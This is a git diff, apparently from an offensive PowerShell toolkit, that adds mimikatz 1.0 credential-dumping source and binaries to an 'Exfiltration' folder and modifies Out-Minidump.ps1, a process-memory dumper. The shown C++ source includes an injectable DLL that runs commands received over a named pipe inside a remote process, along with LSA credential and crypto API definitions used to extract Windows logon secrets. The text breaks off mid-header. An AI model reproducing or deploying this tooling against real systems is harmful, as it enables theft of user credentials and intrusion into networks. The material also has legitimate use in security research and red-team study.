TODO: reference additional headers your program requires here diff --git a/Exfiltration/NTFSParser/NTFSParserDLL/targetver.h b/Exfiltration/NTFSParser/NTFSParserDLL/targetver.h new file mode 100644 index 0000000..87c0086 --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParserDLL/targetver.h @@ -0,0 +1,8 @@ +#pragma once + +// Including SDKDDKVer.h defines the highest available Windows platform. + +// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and +// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. + +#include <SDKDDKVer.h> diff --git a/Exfiltration/Out-Minidump.ps1 b/Exfiltration/Out-Minidump.ps1 index be3e4d5..a43ee0f 100644 --- a/Exfiltration/Out-Minidump.ps1 +++ b/Exfiltration/Out-Minidump.ps1 @@ -1,4 +1,4 @@ -function Out-Minidump +function Out-Minidump { <# .SYNOPSIS @@ -60,7 +60,7 @@ .OUTPUTS - None + System.IO.FileInfo .LINK @@ -122,9 +122,9 @@ } else { - Write-Verbose "Success! Minidump written to $ProcessDumpPath." + Get-ChildItem $ProcessDumpPath } } END {} -}
\ No newline at end of file +} diff --git a/Exfiltration/mimikatz-1.0/Win32/kappfree.dll b/Exfiltration/mimikatz-1.0/Win32/kappfree.dll Binary files differnew file mode 100644 index 0000000..83b3a43 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/Win32/kappfree.dll diff --git a/Exfiltration/mimikatz-1.0/Win32/kappfree.exp b/Exfiltration/mimikatz-1.0/Win32/kappfree.exp Binary files differnew file mode 100644 index 0000000..a6fb957 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/Win32/kappfree.exp diff --git a/Exfiltration/mimikatz-1.0/Win32/kappfree.lib b/Exfiltration/mimikatz-1.0/Win32/kappfree.lib Binary files differnew file mode 100644 index 0000000..0f5d047 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/Win32/kappfree.lib diff --git a/Exfiltration/mimikatz-1.0/Win32/kelloworld.dll b/Exfiltration/mimikatz-1.0/Win32/kelloworld.dll Binary files differnew file mode 100644 index 0000000..ea6081a --- /dev/null +++ b/Exfiltration/mimikatz-1.0/Win32/kelloworld.dll diff --git a/Exfiltration/mimikatz-1.0/Win32/kelloworld.exp b/Exfiltration/mimikatz-1.0/Win32/kelloworld.exp Binary files differnew file mode 100644 index 0000000..ce21b16 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/Win32/kelloworld.exp diff --git a/Exfiltration/mimikatz-1.0/Win32/kelloworld.lib b/Exfiltration/mimikatz-1.0/Win32/kelloworld.lib Binary files differnew file mode 100644 index 0000000..5328cbd --- /dev/null +++ b/Exfiltration/mimikatz-1.0/Win32/kelloworld.lib diff --git a/Exfiltration/mimikatz-1.0/Win32/klock.dll b/Exfiltration/mimikatz-1.0/Win32/klock.dll Binary files differnew file mode 100644 index 0000000..d78b442 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/Win32/klock.dll diff --git a/Exfiltration/mimikatz-1.0/Win32/klock.exp b/Exfiltration/mimikatz-1.0/Win32/klock.exp Binary files differnew file mode 100644 index 0000000..947406f --- /dev/null +++ b/Exfiltration/mimikatz-1.0/Win32/klock.exp diff --git a/Exfiltration/mimikatz-1.0/Win32/klock.lib b/Exfiltration/mimikatz-1.0/Win32/klock.lib Binary files differnew file mode 100644 index 0000000..40c5c8d --- /dev/null +++ b/Exfiltration/mimikatz-1.0/Win32/klock.lib diff --git a/Exfiltration/mimikatz-1.0/Win32/mimikatz.dll b/Exfiltration/mimikatz-1.0/Win32/mimikatz.dll Binary files differnew file mode 100644 index 0000000..028d15a --- /dev/null +++ b/Exfiltration/mimikatz-1.0/Win32/mimikatz.dll diff --git a/Exfiltration/mimikatz-1.0/Win32/mimikatz.exe b/Exfiltration/mimikatz-1.0/Win32/mimikatz.exe Binary files differnew file mode 100644 index 0000000..d92b2f7 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/Win32/mimikatz.exe diff --git a/Exfiltration/mimikatz-1.0/Win32/mimikatz.exp b/Exfiltration/mimikatz-1.0/Win32/mimikatz.exp Binary files differnew file mode 100644 index 0000000..0de4a90 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/Win32/mimikatz.exp diff --git a/Exfiltration/mimikatz-1.0/Win32/mimikatz.lib b/Exfiltration/mimikatz-1.0/Win32/mimikatz.lib Binary files differnew file mode 100644 index 0000000..b98eea9 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/Win32/mimikatz.lib diff --git a/Exfiltration/mimikatz-1.0/Win32/sekurlsa.dll b/Exfiltration/mimikatz-1.0/Win32/sekurlsa.dll Binary files differnew file mode 100644 index 0000000..0cb9638 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/Win32/sekurlsa.dll diff --git a/Exfiltration/mimikatz-1.0/Win32/sekurlsa.exp b/Exfiltration/mimikatz-1.0/Win32/sekurlsa.exp Binary files differnew file mode 100644 index 0000000..a7fd6eb --- /dev/null +++ b/Exfiltration/mimikatz-1.0/Win32/sekurlsa.exp diff --git a/Exfiltration/mimikatz-1.0/Win32/sekurlsa.lib b/Exfiltration/mimikatz-1.0/Win32/sekurlsa.lib Binary files differnew file mode 100644 index 0000000..cdcf2b5 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/Win32/sekurlsa.lib diff --git a/Exfiltration/mimikatz-1.0/commun/globdefs.h b/Exfiltration/mimikatz-1.0/commun/globdefs.h new file mode 100644 index 0000000..d579a3b --- /dev/null +++ b/Exfiltration/mimikatz-1.0/commun/globdefs.h @@ -0,0 +1,128 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#pragma warning(disable:4530) +#include <stdio.h> +#include <windows.h> +#include <ntsecapi.h> +#include <string> +#include <vector> +using namespace std; + +#define SECURITY_WIN32 +#define PAGE_SIZE 0x1000 +#define MAX_DOMAIN_LEN 24 +#define MAX_USERNAME_LEN 24 + +#define MIMIKATZ L"mimikatz" +#ifdef _M_X64 + #define MIMIKATZ_FULL L"mimikatz 1.0 x64 (RC)" +#else ifdef + #define MIMIKATZ_FULL L"mimikatz 1.0 x86 (RC)" +#endif + +#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) +#define NT_INFORMATION(Status) ((((ULONG)(Status)) >> 30) == 1) +#define NT_WARNING(Status) ((((ULONG)(Status)) >> 30) == 2) +#define NT_ERROR(Status) ((((ULONG)(Status)) >> 30) == 3) + +#define STATUS_SUCCESS ((NTSTATUS)0x00000000L) +#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xc0000004L) +#define STATUS_MORE_ENTRIES ((NTSTATUS)0x00000105L) + +#define S_SWAP(a, b) {BYTE t = S[a]; S[a] = S[b]; S[b] = t;} + +typedef bool (* PKIWI_LOCAL_COMMAND) (vector<wstring> * arguments); + +typedef struct _KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND { + PKIWI_LOCAL_COMMAND ptrCommand; + wstring commandName; + wstring commandHelp; + _KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(PKIWI_LOCAL_COMMAND command, wstring name, wstring help) : ptrCommand(command), commandName(name), commandHelp(help) {} + _KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(PKIWI_LOCAL_COMMAND command, wstring name) : ptrCommand(command), commandName(name), commandHelp() {} +} KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND, *PKIWI_MIMIKATZ_LOCAL_MODULE_COMMAND; + +typedef struct _KIWI_MIMIKATZ_LOCAL_MODULE { + wstring module; + wstring description; + vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> commandes; + _KIWI_MIMIKATZ_LOCAL_MODULE(wstring leModule, wstring laDescription, vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> lesCommandes) : module(leModule), description(laDescription), commandes(lesCommandes) {} +} KIWI_MIMIKATZ_LOCAL_MODULE, *PKIWI_MIMIKATZ_LOCAL_MODULE; + +typedef struct _CLIENT_ID { + PVOID UniqueProcess; + PVOID UniqueThread; +} CLIENT_ID, *PCLIENT_ID; + +typedef const ULONG CLONG; +typedef const UNICODE_STRING *PCUNICODE_STRING; +typedef STRING OEM_STRING; +typedef PSTRING POEM_STRING; +typedef CONST STRING* PCOEM_STRING; + +/* System* */ +typedef NTSTATUS (WINAPI * PSYSTEM_FUNCTION_006) (LPCSTR string, BYTE hash[16]); +typedef NTSTATUS (WINAPI * PSYSTEM_FUNCTION_007) (PUNICODE_STRING string, BYTE hash[16]); +typedef NTSTATUS (WINAPI * PSYSTEM_FUNCTION_025) (BYTE[16], DWORD *, BYTE[16]); +typedef NTSTATUS (WINAPI * PSYSTEM_FUNCTION_027) (BYTE[16], DWORD *, BYTE[16]); +/* CNG */ +typedef SECURITY_STATUS (WINAPI * PNCRYPT_OPEN_STORAGE_PROVIDER) (__out NCRYPT_PROV_HANDLE *phProvider, __in_opt LPCWSTR pszProviderName, __in DWORD dwFlags); +typedef SECURITY_STATUS (WINAPI * PNCRYPT_ENUM_KEYS) (__in NCRYPT_PROV_HANDLE hProvider, __in_opt LPCWSTR pszScope, __deref_out NCryptKeyName **ppKeyName, __inout PVOID * ppEnumState, __in DWORD dwFlags); +typedef SECURITY_STATUS (WINAPI * PNCRYPT_OPEN_KEY) (__in NCRYPT_PROV_HANDLE hProvider, __out NCRYPT_KEY_HANDLE *phKey, __in LPCWSTR pszKeyName, __in DWORD dwLegacyKeySpec, __in DWORD dwFlags); +typedef SECURITY_STATUS (WINAPI * PNCRYPT_EXPORT_KEY) (__in NCRYPT_KEY_HANDLE hKey, __in_opt NCRYPT_KEY_HANDLE hExportKey, __in LPCWSTR pszBlobType, __in_opt NCryptBufferDesc *pParameterList, __out_opt PBYTE pbOutput, __in DWORD cbOutput, __out DWORD *pcbResult, __in DWORD dwFlags); +typedef SECURITY_STATUS (WINAPI * PNCRYPT_GET_PROPERTY) (__in NCRYPT_HANDLE hObject, __in LPCWSTR pszProperty, __out_bcount_part_opt(cbOutput, *pcbResult) PBYTE pbOutput, __in DWORD cbOutput, __out DWORD * pcbResult, __in DWORD dwFlags); +typedef SECURITY_STATUS (WINAPI * PNCRYPT_FREE_BUFFER) (__deref PVOID pvInput); +typedef SECURITY_STATUS (WINAPI * PNCRYPT_FREE_OBJECT) (__in NCRYPT_HANDLE hObject); +typedef NTSTATUS (WINAPI * PBCRYPT_ENUM_REGISTERED_PROVIDERS)(__inout ULONG* pcbBuffer, __deref_opt_inout_bcount_part_opt(*pcbBuffer, *pcbBuffer) PCRYPT_PROVIDERS *ppBuffer); +typedef VOID (WINAPI * PBCRYPT_FREE_BUFFER) (__in PVOID pvBuffer); + +typedef NTSTATUS (WINAPI * PBCRYPT_OPEN_ALGORITHM_PROVIDER) (__out BCRYPT_ALG_HANDLE *phAlgorithm, __in LPCWSTR pszAlgId, __in_opt LPCWSTR pszImplementation, __in ULONG dwFlags); +typedef NTSTATUS (WINAPI * PBCRYPT_SET_PROPERTY) (__inout BCRYPT_HANDLE hObject, __in LPCWSTR pszProperty, __in_bcount(cbInput) PUCHAR pbInput, __in ULONG cbInput, __in ULONG dwFlags); +typedef NTSTATUS (WINAPI * PBCRYPT_GET_PROPERTY) (__in BCRYPT_HANDLE hObject, __in LPCWSTR pszProperty, __out_bcount_part_opt(cbOutput, *pcbResult) PUCHAR pbOutput, __in ULONG cbOutput, __out ULONG *pcbResult, __in ULONG dwFlags); +typedef NTSTATUS (WINAPI * PBCRYPT_GENERATE_SYMMETRIC_KEY) (__inout BCRYPT_ALG_HANDLE hAlgorithm, __out BCRYPT_KEY_HANDLE *phKey, __out_bcount_full_opt(cbKeyObject) PUCHAR pbKeyObject, __in ULONG cbKeyObject, __in_bcount(cbSecret) PUCHAR pbSecret, __in ULONG cbSecret, __in ULONG dwFlags); +typedef NTSTATUS (WINAPI * PBCRYTP_DESTROY_KEY) (__inout BCRYPT_KEY_HANDLE hKey); +typedef NTSTATUS (WINAPI * PBCRYTP_CLOSE_ALGORITHM_PROVIDER) (__inout BCRYPT_ALG_HANDLE hAlgorithm, __in ULONG dwFlags); + +/* Rtl* */ +#define RtlEqualLuid(L1, L2) (((L1)->LowPart == (L2)->LowPart) && ((L1)->HighPart == (L2)->HighPart)) +typedef NTSTATUS (WINAPI * PRTL_CREATE_USER_THREAD) (__in HANDLE Process, __in_opt PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, __in char Flags, __in_opt ULONG ZeroBits, __in_opt SIZE_T MaximumStackSize, __in_opt SIZE_T CommittedStackSize, __in PTHREAD_START_ROUTINE StartAddress, __in_opt PVOID Parameter, __out_opt PHANDLE Thread, __out_opt PCLIENT_ID ClientId); +typedef VOID (WINAPI * PRTL_INIT_STRING) (PSTRING DestinationString, PCSTR SourceString); +typedef VOID (WINAPI * PRTL_INIT_UNICODESTRING) (PUNICODE_STRING DestinationString, PCWSTR SourceString); +typedef NTSTATUS (WINAPI * PRTL_UPCASE_UNICODE_STRING_TO_OEM_STRING) (POEM_STRING DestinationString, PCUNICODE_STRING SourceString, BOOLEAN AllocateDestinationString); +typedef VOID (WINAPI * PRTL_FREE_OEM_STRING) (POEM_STRING OemString); +typedef PVOID (WINAPI * PRTL_LOOKUP_ELEMENT_GENERIC_TABLE_AV) (__in struct _RTL_AVL_TABLE *Table, __in PVOID Buffer); +typedef enum _RTL_GENERIC_COMPARE_RESULTS (WINAPI * PRTL_AVL_COMPARE_ROUTINE) (__in struct _RTL_AVL_TABLE *Table, __in PVOID FirstStruct, __in PVOID SecondStruct); +typedef PVOID (WINAPI * PRTL_AVL_ALLOCATE_ROUTINE) (__in struct _RTL_AVL_TABLE *Table, __in CLONG ByteSize); +typedef VOID (WINAPI * PRTL_AVL_FREE_ROUTINE) (__in struct _RTL_AVL_TABLE *Table, __in PVOID Buffer); + +typedef struct _RTL_BALANCED_LINKS { + struct _RTL_BALANCED_LINKS *Parent; + struct _RTL_BALANCED_LINKS *LeftChild; + struct _RTL_BALANCED_LINKS *RightChild; + CHAR Balance; + UCHAR Reserved[3]; +} RTL_BALANCED_LINKS; +typedef RTL_BALANCED_LINKS *PRTL_BALANCED_LINKS; + +typedef enum _RTL_GENERIC_COMPARE_RESULTS { + GenericLessThan, + GenericGreaterThan, + GenericEqual +} RTL_GENERIC_COMPARE_RESULTS; + +typedef struct _RTL_AVL_TABLE { + RTL_BALANCED_LINKS BalancedRoot; + PVOID OrderedPointer; + ULONG WhichOrderedElement; + ULONG NumberGenericTableElements; + ULONG DepthOfTree; + PRTL_BALANCED_LINKS RestartKey; + ULONG DeleteCount; + PRTL_AVL_COMPARE_ROUTINE CompareRoutine; + PRTL_AVL_ALLOCATE_ROUTINE AllocateRoutine; + PRTL_AVL_FREE_ROUTINE FreeRoutine; + PVOID TableContext; +} RTL_AVL_TABLE, *PRTL_AVL_TABLE; diff --git a/Exfiltration/mimikatz-1.0/commun/icons/cmd_32.ico b/Exfiltration/mimikatz-1.0/commun/icons/cmd_32.ico Binary files differnew file mode 100644 index 0000000..9ac92da --- /dev/null +++ b/Exfiltration/mimikatz-1.0/commun/icons/cmd_32.ico diff --git a/Exfiltration/mimikatz-1.0/commun/icons/cmd_48.ico b/Exfiltration/mimikatz-1.0/commun/icons/cmd_48.ico Binary files differnew file mode 100644 index 0000000..79edffc --- /dev/null +++ b/Exfiltration/mimikatz-1.0/commun/icons/cmd_48.ico diff --git a/Exfiltration/mimikatz-1.0/commun/icons/cmd_kiwi.ico b/Exfiltration/mimikatz-1.0/commun/icons/cmd_kiwi.ico Binary files differnew file mode 100644 index 0000000..2285d1c --- /dev/null +++ b/Exfiltration/mimikatz-1.0/commun/icons/cmd_kiwi.ico diff --git a/Exfiltration/mimikatz-1.0/commun/icons/mimikatz_bird.ico b/Exfiltration/mimikatz-1.0/commun/icons/mimikatz_bird.ico Binary files differnew file mode 100644 index 0000000..745963e --- /dev/null +++ b/Exfiltration/mimikatz-1.0/commun/icons/mimikatz_bird.ico diff --git a/Exfiltration/mimikatz-1.0/commun/icons/mimikatz_fruit.ico b/Exfiltration/mimikatz-1.0/commun/icons/mimikatz_fruit.ico Binary files differnew file mode 100644 index 0000000..7497143 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/commun/icons/mimikatz_fruit.ico diff --git a/Exfiltration/mimikatz-1.0/commun/icons/mimikatz_fruit_16.ico b/Exfiltration/mimikatz-1.0/commun/icons/mimikatz_fruit_16.ico Binary files differnew file mode 100644 index 0000000..07df30f --- /dev/null +++ b/Exfiltration/mimikatz-1.0/commun/icons/mimikatz_fruit_16.ico diff --git a/Exfiltration/mimikatz-1.0/commun/icons/regedit_32.ico b/Exfiltration/mimikatz-1.0/commun/icons/regedit_32.ico Binary files differnew file mode 100644 index 0000000..67b1100 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/commun/icons/regedit_32.ico diff --git a/Exfiltration/mimikatz-1.0/commun/icons/regedit_48.ico b/Exfiltration/mimikatz-1.0/commun/icons/regedit_48.ico Binary files differnew file mode 100644 index 0000000..6d7f787 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/commun/icons/regedit_48.ico diff --git a/Exfiltration/mimikatz-1.0/commun/icons/regedit_kiwi.ico b/Exfiltration/mimikatz-1.0/commun/icons/regedit_kiwi.ico Binary files differnew file mode 100644 index 0000000..805707a --- /dev/null +++ b/Exfiltration/mimikatz-1.0/commun/icons/regedit_kiwi.ico diff --git a/Exfiltration/mimikatz-1.0/commun/icons/taskmgr_32.ico b/Exfiltration/mimikatz-1.0/commun/icons/taskmgr_32.ico Binary files differnew file mode 100644 index 0000000..a1c08e5 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/commun/icons/taskmgr_32.ico diff --git a/Exfiltration/mimikatz-1.0/commun/icons/taskmgr_48.ico b/Exfiltration/mimikatz-1.0/commun/icons/taskmgr_48.ico Binary files differnew file mode 100644 index 0000000..ea38a48 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/commun/icons/taskmgr_48.ico diff --git a/Exfiltration/mimikatz-1.0/commun/icons/taskmgr_kiwi.ico b/Exfiltration/mimikatz-1.0/commun/icons/taskmgr_kiwi.ico Binary files differnew file mode 100644 index 0000000..27adde3 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/commun/icons/taskmgr_kiwi.ico diff --git a/Exfiltration/mimikatz-1.0/commun/kmodel.cpp b/Exfiltration/mimikatz-1.0/commun/kmodel.cpp new file mode 100644 index 0000000..a87ea8f --- /dev/null +++ b/Exfiltration/mimikatz-1.0/commun/kmodel.cpp @@ -0,0 +1,139 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "kmodel.h" + +HMODULE g_hModule = NULL; + +BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) +{ + if (ul_reason_for_call == DLL_PROCESS_ATTACH) + { + g_hModule = hModule; + + HANDLE hThread = CreateThread(NULL, 0, &ThreadProc, NULL, 0, NULL); + if(hThread && hThread != INVALID_HANDLE_VALUE) + { + return CloseHandle(hThread); + } + } + return TRUE; +} + +DWORD WINAPI ThreadProc(LPVOID lpParameter) +{ + mod_pipe * monCommunicator = new mod_pipe(L"kiwi\\mimikatz"); + + bool succes = false; + for(DWORD nbRetry = 1; nbRetry <= 5 && !succes; nbRetry++) + { + succes = monCommunicator->createClient(); + if(!succes) + { + Sleep(3000); + } + } + + if(succes) + { + ptrFunctionString maFonctionString = reinterpret_cast<ptrFunctionString>(GetProcAddress(g_hModule, "getDescription")); + + wstring monBuffer = L"Bienvenue dans un processus distant\n\t\t\tGentil Kiwi"; + if(maFonctionString) + { + wstring * maDescription = new wstring(); + if(maFonctionString(maDescription)) + { + monBuffer.append(L"\n\n"); + monBuffer.append(*maDescription); + } + delete maDescription; + } + + + + if(monCommunicator->writeToPipe(monBuffer)) + { + for(;;) + { + if(monCommunicator->readFromPipe(monBuffer)) + { + wstring fonction = monBuffer; + vector<wstring> arguments; + + size_t monIndex = fonction.find(L' '); + + if(monIndex != wstring::npos) + { + arguments = mod_parseur::parse(fonction.substr(monIndex + 1)); + fonction = fonction.substr(0, monIndex); + } + + string procDll(fonction.begin(), fonction.end()); + + ptrFunction maFonction = reinterpret_cast<ptrFunction>(GetProcAddress(g_hModule, procDll.c_str())); + + if(maFonction) + { + if(maFonction(monCommunicator, &arguments)) + { + monBuffer = L"@"; + } + else // La fonction retourn FALSE, il y a donc anomalie bloquante sur le canal + { + break; + } + } + else + { + monBuffer = L"@Mthode \'"; + monBuffer.append(fonction); + monBuffer.append(L"\' introuvable !\n"); + } + + if(!monCommunicator->writeToPipe(monBuffer)) + { + break; + } + } + else + { + break; + } + } + } + } + + delete monCommunicator; + + FreeLibraryAndExitThread(g_hModule, 0); + return 0; +} + +bool sendTo(mod_pipe * monPipe, wstring message) +{ + wstring reponse = L"#"; + reponse.append(message); + + return monPipe->writeToPipe(reponse); +} + + +__kextdll bool __cdecl ping(mod_pipe * monPipe, vector<wstring> * mesArguments) +{ + bool sendOk = sendTo(monPipe, L"pong"); + + for(vector<wstring>::iterator monArgument = mesArguments->begin(); monArgument != mesArguments->end() && sendOk; monArgument++) + { + wstring maReponse = L" - argument:"; + maReponse.append(*monArgument); + sendOk = sendTo(monPipe, maReponse); + } + + if(sendOk) + sendOk = sendTo(monPipe, L"\n"); + + return sendOk; +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/commun/kmodel.h b/Exfiltration/mimikatz-1.0/commun/kmodel.h new file mode 100644 index 0000000..65bd912 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/commun/kmodel.h @@ -0,0 +1,21 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_pipe.h" +#include "mod_parseur.h" + +#define __kextdll extern "C" __declspec(dllexport) + +typedef bool (__cdecl * ptrFunction) (mod_pipe * monPipe, vector<wstring> * mesArguments); +typedef bool (__cdecl * ptrFunctionString) (wstring * maDescription); + +BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved); +DWORD WINAPI ThreadProc(LPVOID lpParameter); + +bool sendTo(mod_pipe * monPipe, wstring message); + +__kextdll bool __cdecl ping(mod_pipe * monPipe, vector<wstring> * mesArguments); diff --git a/Exfiltration/mimikatz-1.0/commun/secpkg.h b/Exfiltration/mimikatz-1.0/commun/secpkg.h new file mode 100644 index 0000000..385307d --- /dev/null +++ b/Exfiltration/mimikatz-1.0/commun/secpkg.h @@ -0,0 +1,239 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include <sspi.h> +#include <wincred.h> + +typedef struct _KIWI_GENERIC_PRIMARY_CREDENTIAL +{ + LSA_UNICODE_STRING UserName; + LSA_UNICODE_STRING Domaine; + LSA_UNICODE_STRING Password; +} KIWI_GENERIC_PRIMARY_CREDENTIAL, * PKIWI_GENERIC_PRIMARY_CREDENTIAL; + +typedef NTSTATUS (WINAPIV * PLSA_INITIALIZE_PROTECTED_MEMORY) (); + +typedef PVOID *PLSA_CLIENT_REQUEST; +typedef LPTHREAD_START_ROUTINE SEC_THREAD_START; +typedef LPSECURITY_ATTRIBUTES SEC_ATTRS; + +typedef struct _SECPKG_CLIENT_INFO { + LUID LogonId; // Effective Logon Id + ULONG ProcessID; // Process Id of caller + ULONG ThreadID; // Thread Id of caller + BOOLEAN HasTcbPrivilege; // Client has TCB + BOOLEAN Impersonating; // Client is impersonating + BOOLEAN Restricted; // Client is restricted + // NT 5.1 + UCHAR ClientFlags; // Extra flags about the client + SECURITY_IMPERSONATION_LEVEL ImpersonationLevel; // Impersonation level of client + // NT 6 + HANDLE ClientToken; +} SECPKG_CLIENT_INFO, * PSECPKG_CLIENT_INFO; + +typedef enum _LSA_TOKEN_INFORMATION_TYPE { + LsaTokenInformationNull, // Implies LSA_TOKEN_INFORMATION_NULL data type + LsaTokenInformationV1, // Implies LSA_TOKEN_INFORMATION_V1 data type + LsaTokenInformationV2 // Implies LSA_TOKEN_INFORMATION_V2 data type +} LSA_TOKEN_INFORMATION_TYPE, *PLSA_TOKEN_INFORMATION_TYPE; + +typedef enum _SECPKG_NAME_TYPE { + SecNameSamCompatible, + SecNameAlternateId, + SecNameFlat, + SecNameDN, + SecNameSPN +} SECPKG_NAME_TYPE; + +typedef struct _SECPKG_CALL_INFO { + ULONG ProcessId; + ULONG ThreadId; + ULONG Attributes; + ULONG CallCount; + PVOID MechOid; // mechanism objection identifer +} SECPKG_CALL_INFO, * PSECPKG_CALL_INFO; + +typedef enum _SECPKG_SESSIONINFO_TYPE { + SecSessionPrimaryCred // SessionInformation is SECPKG_PRIMARY_CRED +} SECPKG_SESSIONINFO_TYPE; + +typedef struct _SECPKG_PRIMARY_CRED { + LUID LogonId; + UNICODE_STRING DownlevelName; // Sam Account Name + UNICODE_STRING DomainName; // Netbios domain name where account is located + UNICODE_STRING Password; + UNICODE_STRING OldPassword; + PSID UserSid; + ULONG Flags; + UNICODE_STRING DnsDomainName; // DNS domain name where account is located (if known) + UNICODE_STRING Upn; // UPN of account (if known) + UNICODE_STRING LogonServer; + UNICODE_STRING Spare1; + UNICODE_STRING Spare2; + UNICODE_STRING Spare3; + UNICODE_STRING Spare4; +} SECPKG_PRIMARY_CRED, *PSECPKG_PRIMARY_CRED; + +typedef struct _SECPKG_SUPPLEMENTAL_CRED { + UNICODE_STRING PackageName; + ULONG CredentialSize; +#ifdef MIDL_PASS + [size_is(CredentialSize)] +#endif // MIDL_PASS + PUCHAR Credentials; +} SECPKG_SUPPLEMENTAL_CRED, *PSECPKG_SUPPLEMENTAL_CRED; + +typedef struct _SECPKG_SUPPLEMENTAL_CRED_ARRAY { + ULONG CredentialCount; +#ifdef MIDL_PASS + [size_is(CredentialCount)] SECPKG_SUPPLEMENTAL_CRED Credentials[*]; +#else // MIDL_PASS + SECPKG_SUPPLEMENTAL_CRED Credentials[1]; +#endif // MIDL_PASS +} SECPKG_SUPPLEMENTAL_CRED_ARRAY, *PSECPKG_SUPPLEMENTAL_CRED_ARRAY; + +typedef NTSTATUS (WINAPI * PLSA_CALLBACK_FUNCTION) (ULONG_PTR Argument1, ULONG_PTR Argument2, PSecBuffer InputBuffer, PSecBuffer OutputBuffer); + +typedef NTSTATUS (WINAPI * PLSA_CREATE_LOGON_SESSION) (IN PLUID LogonId); +typedef NTSTATUS (WINAPI * PLSA_DELETE_LOGON_SESSION) (IN PLUID LogonId); +typedef NTSTATUS (WINAPI * PLSA_ADD_CREDENTIAL) (IN PLUID LogonId, IN ULONG AuthenticationPackage, IN PLSA_STRING PrimaryKeyValue, IN PLSA_STRING Credentials); +typedef NTSTATUS (WINAPI * PLSA_GET_CREDENTIALS) (IN PLUID LogonId, IN ULONG AuthenticationPackage, IN OUT PULONG QueryContext, IN BOOLEAN RetrieveAllCredentials, IN PLSA_STRING PrimaryKeyValue, OUT PULONG PrimaryKeyLength, IN PLSA_STRING Credentials); +typedef NTSTATUS (WINAPI * PLSA_DELETE_CREDENTIAL) (IN PLUID LogonId, IN ULONG AuthenticationPackage, IN PLSA_STRING PrimaryKeyValue); +typedef PVOID (WINAPI * PLSA_ALLOCATE_LSA_HEAP) (IN ULONG Length); +typedef VOID (WINAPI * PLSA_FREE_LSA_HEAP) (IN PVOID Base); +typedef PVOID (WINAPI * PLSA_ALLOCATE_PRIVATE_HEAP) (IN SIZE_T Length); +typedef VOID (WINAPI * PLSA_FREE_PRIVATE_HEAP) (IN PVOID Base); +typedef NTSTATUS (WINAPI * PLSA_ALLOCATE_CLIENT_BUFFER) (IN PLSA_CLIENT_REQUEST ClientRequest, IN ULONG LengthRequired, OUT PVOID *ClientBaseAddress); +typedef NTSTATUS (WINAPI * PLSA_FREE_CLIENT_BUFFER) (IN PLSA_CLIENT_REQUEST ClientRequest, IN PVOID ClientBaseAddress); +typedef NTSTATUS (WINAPI * PLSA_COPY_TO_CLIENT_BUFFER) (IN PLSA_CLIENT_REQUEST ClientRequest, IN ULONG Length, IN PVOID ClientBaseAddress, IN PVOID BufferToCopy); +typedef NTSTATUS (WINAPI * PLSA_COPY_FROM_CLIENT_BUFFER) (IN PLSA_CLIENT_REQUEST ClientRequest, IN ULONG Length, IN PVOID BufferToCopy, IN PVOID ClientBaseAddress); +typedef NTSTATUS (WINAPI * PLSA_IMPERSONATE_CLIENT) (VOID); +typedef NTSTATUS (WINAPI * PLSA_UNLOAD_PACKAGE) (VOID); +typedef NTSTATUS (WINAPI * PLSA_DUPLICATE_HANDLE) (IN HANDLE SourceHandle, OUT PHANDLE DestionationHandle); +typedef NTSTATUS (WINAPI * PLSA_SAVE_SUPPLEMENTAL_CREDENTIALS) (IN PLUID LogonId, IN ULONG SupplementalCredSize, IN PVOID SupplementalCreds, IN BOOLEAN Synchronous); +typedef HANDLE (WINAPI * PLSA_CREATE_THREAD) (IN SEC_ATTRS SecurityAttributes, IN ULONG StackSize, IN SEC_THREAD_START StartFunction, IN PVOID ThreadParameter, IN ULONG CreationFlags, OUT PULONG ThreadId); +typedef NTSTATUS (WINAPI * PLSA_GET_CLIENT_INFO) (OUT PSECPKG_CLIENT_INFO ClientInfo); +typedef HANDLE (WINAPI * PLSA_REGISTER_NOTIFICATION) (IN SEC_THREAD_START StartFunction, IN PVOID 